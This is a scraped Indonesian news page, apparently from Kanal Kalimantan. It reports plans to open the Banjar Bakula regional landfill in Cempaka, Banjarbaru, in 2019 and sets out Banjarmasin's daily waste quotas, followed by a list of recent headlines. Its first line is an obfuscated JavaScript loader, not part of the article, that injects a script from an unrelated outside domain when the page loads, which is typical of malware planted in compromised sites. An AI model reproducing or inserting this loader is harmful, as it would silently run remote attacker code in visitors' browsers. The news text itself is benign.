(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

TPA Regional Banjar Bakula Akan Beroperasi 2019


BANJARBARU, Problem sampah saat ini masih menjadi kendala utama sejumlah kabupaten/kota di Kalsel. Terbatasnya lahan tempat pembuangan akhir (TPA) yang tak mampu menampung besarnya volume sampah, menjadi penyebab utamanya. Namun, pada 2019 nanti, operasional TPA Sampah Regional Banjar Bakula yang menjadi wacana sejak lama, akan beroperasi.

TPA yang lokasinya berada di kawasan Kecamatan Cempaka, Banjarbaru tersebut nantinya akan menampung sampah yang telah diresidu (sudah dipilah) oleh lima kabupaten kota, yang akan masukan dalam program Banjar Bakula.

Rencana operasional TPA Banjar Bakula ini disampaikan Walikota Banjarmasin Ibnu Sina usai menerima kedatangan tim pembangunan TPA regiona tersebut. Pada prinsipnya, ia setuju dengan pembagian kuota sampah hasil residu yang ditetapkan. Namun berharap batas minimal kuota sampah yang masuk ke TPA tersebut, dapat disesuaikan dengan kemampuan angkutan operasional yang dimiliki Banjarmasin. Demikian dilansir Antara.com.

Untuk diketahui, pembagian kuota sampah yang bisa dimasukan ke dalam TPA regional untuk Banjarmasin dipatok per harinya maksimal sekira 131 ton. Sedangkan batas minimal sampah yang sudah diresidu masuk ke TPA tersebut 60 ton per hari.

Menurut Kepala Dinas Lingkungan Hidup Provinsi Kalsel, Iklas, pembangunan TAP regional itu merupakan bantuan dari pihak kementerian PUPR, Bidang Cipta Karya. “TPA tersebut rencananya selesai dikerjakan pada bulan November 2018 ini dan operasionalnya akan dilakukan pada tahun 2019 nanti,” ujarnya.

Dikatakannya, salah satu persyaratan operasinalnya adalah adanya MoU antara Gubernur dengan Bupati/Walikota yang masuk dalam program Banjar Bakula.  Memang, sebelumnya sudah ada kesepahaman antara provinsi dengan kabupaten/kota. Namun mengingat operasional TPA tersebut semakin dekat, maka ia bersama tim kembali menemui Walikota hanya untuk memastikan komitmen yang telah dibuat.

“Awal hitungan-hitungan dari konsultansi, untuk Kota Banjarmasin diminta sampah residu itu maksimal 131 ton per hari. Tapi kami memahami adanya keterbatasan angkutan sampah. Karena itu kita tadi mencari angka minimalnya menjadi 30 ton per hari,” katanya.


Page: 1 2

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.